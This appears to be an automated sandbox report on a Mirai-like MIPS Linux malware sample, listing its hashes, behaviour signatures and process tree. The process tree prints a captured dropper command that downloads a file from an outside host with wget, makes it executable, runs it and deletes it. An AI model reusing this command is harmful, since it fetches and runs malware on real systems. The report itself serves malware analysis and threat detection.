Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240226-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    02/04/2024, 01:26

General

  • Target

    e47c0cc3b00de906596cf4e63820d391d4e0e2ccc78a2c4f60cfe8d1991a345d.elf

  • Size

    155KB

  • MD5

    6153fdb5e5899070229f1c544ab3d291

  • SHA1

    cc61abc7d93b729f284efd418dfc815deaef2ba9

  • SHA256

    e47c0cc3b00de906596cf4e63820d391d4e0e2ccc78a2c4f60cfe8d1991a345d

  • SHA512

    cf66e060c87cf967af1f134a20668b3f9aabf2b27f3551c33c529e93e9815dfdbd86eef2435a5c6251a30daea1ecae45f19cd11616729b5880ec65e174971141

  • SSDEEP

    3072:B7esBFP23rWfOB7ZOOyGgWKmrThPaLEne7rNb:1euCloGgrmrThPaLEne7rNb

Score
7/10

Malware Config

Signatures

  • Changes its process name 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e47c0cc3b00de906596cf4e63820d391d4e0e2ccc78a2c4f60cfe8d1991a345d.elf
    /tmp/e47c0cc3b00de906596cf4e63820d391d4e0e2ccc78a2c4f60cfe8d1991a345d.elf
    1⤵
    • Changes its process name
    • Reads system routing table
    • Reads system network configuration
    PID:696
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
      2⤵
        PID:697
        • /usr/bin/wget
          wget -q http://gay.energy/.../vivid -O .....
          3⤵
          • Writes file to tmp directory
          PID:701
        • /bin/chmod
          chmod 777 .....
          3⤵
            PID:710
          • /tmp/.....
            ./.....
            3⤵
            • Executes dropped EXE
            PID:711
          • /bin/sh
            /bin/sh ./.....
            3⤵
              PID:711
            • /bin/rm
              rm -rf .....
              3⤵
                PID:715

          Network

                MITRE ATT&CK Enterprise v15

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